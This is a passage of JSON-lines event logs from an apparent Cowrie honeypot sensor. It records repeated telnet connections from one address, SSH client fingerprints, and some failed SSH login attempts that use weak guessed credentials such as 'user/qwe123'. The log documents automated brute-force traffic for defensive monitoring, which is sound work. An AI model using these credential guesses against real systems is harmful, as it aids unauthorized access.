{"eventid":"cowrie.session.closed","duration":48.68035268783569,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:54.164061Z","src_ip":"209.205.218.26","session":"e8feb06aac5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":55957,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb6cd0c8f8f","protocol":"telnet","message":"New connection: 209.205.218.26:55957 (10.17.0.5:23) [session: eeb6cd0c8f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:56.741648Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":55988,"dst_ip":"10.17.0.5","dst_port":23,"session":"83f57271c7df","protocol":"telnet","message":"New connection: 209.205.218.26:55988 (10.17.0.5:23) [session: 83f57271c7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:56.919219Z"}
{"eventid":"cowrie.session.closed","duration":36.797147274017334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:57.050791Z","src_ip":"209.205.218.26","session":"e503c803925a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56075,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc14ed8d79e8","protocol":"telnet","message":"New connection: 209.205.218.26:56075 (10.17.0.5:23) [session: fc14ed8d79e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:57.638440Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56147,"dst_ip":"10.17.0.5","dst_port":23,"session":"2883f652369a","protocol":"telnet","message":"New connection: 209.205.218.26:56147 (10.17.0.5:23) [session: 2883f652369a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:58.166902Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56193,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d8bbf0d09f","protocol":"telnet","message":"New connection: 209.205.218.26:56193 (10.17.0.5:23) [session: 51d8bbf0d09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:58.527998Z"}
{"eventid":"cowrie.session.closed","duration":37.13093829154968,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:59.575697Z","src_ip":"209.205.218.26","session":"fde0c308965e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":49326,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d815fae5316","protocol":"ssh","message":"New connection: 165.154.205.91:49326 (159.203.135.109:22) [session: 0d815fae5316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:59.602906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:59.610691Z","src_ip":"165.154.205.91","session":"0d815fae5316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:45:59.841494Z","src_ip":"165.154.205.91","session":"0d815fae5316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:00.798269Z","src_ip":"165.154.205.91","session":"0d815fae5316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56532,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34427d704a0","protocol":"telnet","message":"New connection: 209.205.218.26:56532 (10.17.0.5:23) [session: e34427d704a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:01.065707Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56562,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd0e81d253e9","protocol":"telnet","message":"New connection: 209.205.218.26:56562 (10.17.0.5:23) [session: dd0e81d253e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:01.533315Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:02.031383Z","src_ip":"165.154.205.91","session":"0d815fae5316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56668,"dst_ip":"10.17.0.5","dst_port":23,"session":"e64e03476939","protocol":"telnet","message":"New connection: 209.205.218.26:56668 (10.17.0.5:23) [session: e64e03476939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:02.904284Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56202,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ffe7dbcbb63","protocol":"telnet","message":"New connection: 209.205.218.26:56202 (10.17.0.5:23) [session: 1ffe7dbcbb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:04.549525Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":56803,"dst_ip":"10.17.0.5","dst_port":23,"session":"051176fc83de","protocol":"telnet","message":"New connection: 209.205.218.26:56803 (10.17.0.5:23) [session: 051176fc83de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:04.772845Z"}
{"eventid":"cowrie.session.closed","duration":25.67110586166382,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:05.578634Z","src_ip":"209.205.218.26","session":"c99aa34d27a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":57075,"dst_ip":"10.17.0.5","dst_port":23,"session":"866dd0a2dc8d","protocol":"telnet","message":"New connection: 209.205.218.26:57075 (10.17.0.5:23) [session: 866dd0a2dc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:07.074657Z"}
{"eventid":"cowrie.session.closed","duration":36.73231291770935,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:07.685454Z","src_ip":"209.205.218.26","session":"4d7daeed81dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":57127,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f266f844c2","protocol":"telnet","message":"New connection: 209.205.218.26:57127 (10.17.0.5:23) [session: 34f266f844c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:07.770558Z"}
{"eventid":"cowrie.session.closed","duration":36.405455112457275,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:08.330795Z","src_ip":"209.205.218.26","session":"cf1aae247cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.20026612281799,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:08.699523Z","src_ip":"209.205.218.26","session":"2f1c911e6da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":57410,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d48d79821ee","protocol":"telnet","message":"New connection: 209.205.218.26:57410 (10.17.0.5:23) [session: 3d48d79821ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:09.594954Z"}
{"eventid":"cowrie.session.closed","duration":37.19206476211548,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:09.950077Z","src_ip":"209.205.218.26","session":"8f363d4641cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.065428495407104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:10.544987Z","src_ip":"209.205.218.26","session":"abfe5730d0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f898cda627e","protocol":"telnet","message":"New connection: 209.205.218.26:57630 (10.17.0.5:23) [session: 9f898cda627e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:11.541878Z"}
{"eventid":"cowrie.session.closed","duration":36.2947051525116,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:11.932132Z","src_ip":"209.205.218.26","session":"8e0468a2bcb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58029,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a3e1af8bc3","protocol":"telnet","message":"New connection: 209.205.218.26:58029 (10.17.0.5:23) [session: 13a3e1af8bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:14.494145Z"}
{"eventid":"cowrie.session.closed","duration":35.618248462677,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:15.047508Z","src_ip":"209.205.218.26","session":"ccbbc6bfc954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59111452102661,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:15.321127Z","src_ip":"209.205.218.26","session":"fbfaeb5461b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56873631477356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:16.067428Z","src_ip":"209.205.218.26","session":"8a6b11a98cc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.90719985961914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:16.563349Z","src_ip":"209.205.218.26","session":"d26b08a73b92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58237,"dst_ip":"10.17.0.5","dst_port":23,"session":"af46b5f0a167","protocol":"telnet","message":"New connection: 209.205.218.26:58237 (10.17.0.5:23) [session: af46b5f0a167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:16.622939Z"}
{"eventid":"cowrie.session.closed","duration":35.661306619644165,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:17.600136Z","src_ip":"209.205.218.26","session":"591a38b0febf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22039461135864,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:17.962498Z","src_ip":"209.205.218.26","session":"676bbccb699d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58416,"dst_ip":"10.17.0.5","dst_port":23,"session":"f220b7c0c04b","protocol":"telnet","message":"New connection: 209.205.218.26:58416 (10.17.0.5:23) [session: f220b7c0c04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:18.633923Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":46220,"dst_ip":"159.203.135.109","dst_port":22,"session":"25ffa1675da7","protocol":"ssh","message":"New connection: 4.213.160.153:46220 (159.203.135.109:22) [session: 25ffa1675da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:19.521542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:19.526879Z","src_ip":"4.213.160.153","session":"25ffa1675da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:19.723075Z","src_ip":"4.213.160.153","session":"25ffa1675da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456789","message":"login attempt [username/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:20.513827Z","src_ip":"4.213.160.153","session":"25ffa1675da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.63344073295593,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:20.933109Z","src_ip":"209.205.218.26","session":"ec24a7b23586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:21.706167Z","src_ip":"4.213.160.153","session":"25ffa1675da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58705,"dst_ip":"10.17.0.5","dst_port":23,"session":"4116b7582a00","protocol":"telnet","message":"New connection: 209.205.218.26:58705 (10.17.0.5:23) [session: 4116b7582a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:21.849849Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58709,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2974eb6cb8","protocol":"telnet","message":"New connection: 209.205.218.26:58709 (10.17.0.5:23) [session: bf2974eb6cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:21.861638Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b290dd197436","protocol":"telnet","message":"New connection: 209.205.218.26:58822 (10.17.0.5:23) [session: b290dd197436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:22.667948Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":58944,"dst_ip":"10.17.0.5","dst_port":23,"session":"d06a384312f8","protocol":"telnet","message":"New connection: 209.205.218.26:58944 (10.17.0.5:23) [session: d06a384312f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:22.940825Z"}
{"eventid":"cowrie.session.closed","duration":25.37119770050049,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:23.009518Z","src_ip":"209.205.218.26","session":"fc14ed8d79e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59103,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b43a60f419","protocol":"telnet","message":"New connection: 209.205.218.26:59103 (10.17.0.5:23) [session: 95b43a60f419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:24.574096Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59236,"dst_ip":"10.17.0.5","dst_port":23,"session":"699c3a581efe","protocol":"telnet","message":"New connection: 209.205.218.26:59236 (10.17.0.5:23) [session: 699c3a581efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:25.700730Z"}
{"eventid":"cowrie.session.closed","duration":36.00284504890442,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:27.260613Z","src_ip":"209.205.218.26","session":"474dc61494c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8e982deb8d","protocol":"telnet","message":"New connection: 209.205.218.26:59486 (10.17.0.5:23) [session: 5a8e982deb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:27.661228Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59520,"dst_ip":"10.17.0.5","dst_port":23,"session":"7402fc504bd6","protocol":"telnet","message":"New connection: 209.205.218.26:59520 (10.17.0.5:23) [session: 7402fc504bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:27.864060Z"}
{"eventid":"cowrie.session.closed","duration":46.51925587654114,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:28.396374Z","src_ip":"209.205.218.26","session":"56479ec76b86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59586,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9006fa2901","protocol":"telnet","message":"New connection: 209.205.218.26:59586 (10.17.0.5:23) [session: ba9006fa2901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:28.573907Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59592,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4560effab58","protocol":"telnet","message":"New connection: 209.205.218.26:59592 (10.17.0.5:23) [session: a4560effab58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:28.719063Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59683,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b7edd1b598","protocol":"telnet","message":"New connection: 209.205.218.26:59683 (10.17.0.5:23) [session: 00b7edd1b598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:29.586938Z"}
{"eventid":"cowrie.session.closed","duration":47.07242226600647,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:30.851939Z","src_ip":"209.205.218.26","session":"680fab17f0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":59930,"dst_ip":"10.17.0.5","dst_port":23,"session":"049a88c08eb3","protocol":"telnet","message":"New connection: 209.205.218.26:59930 (10.17.0.5:23) [session: 049a88c08eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:31.848049Z"}
{"eventid":"cowrie.session.closed","duration":36.15218710899353,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:32.893755Z","src_ip":"209.205.218.26","session":"eeb6cd0c8f8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17458200454712,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:33.093690Z","src_ip":"209.205.218.26","session":"83f57271c7df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10133409500122,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:34.268104Z","src_ip":"209.205.218.26","session":"2883f652369a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb8ea0d3865","protocol":"telnet","message":"New connection: 209.205.218.26:60288 (10.17.0.5:23) [session: 3eb8ea0d3865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:34.756589Z"}
{"eventid":"cowrie.session.closed","duration":36.83545970916748,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:35.363337Z","src_ip":"209.205.218.26","session":"51d8bbf0d09f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":40882,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b94e0624551","protocol":"ssh","message":"New connection: 211.186.79.173:40882 (10.17.0.5:22) [session: 8b94e0624551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:35.652064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:46:35.658112Z","src_ip":"211.186.79.173","session":"8b94e0624551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@open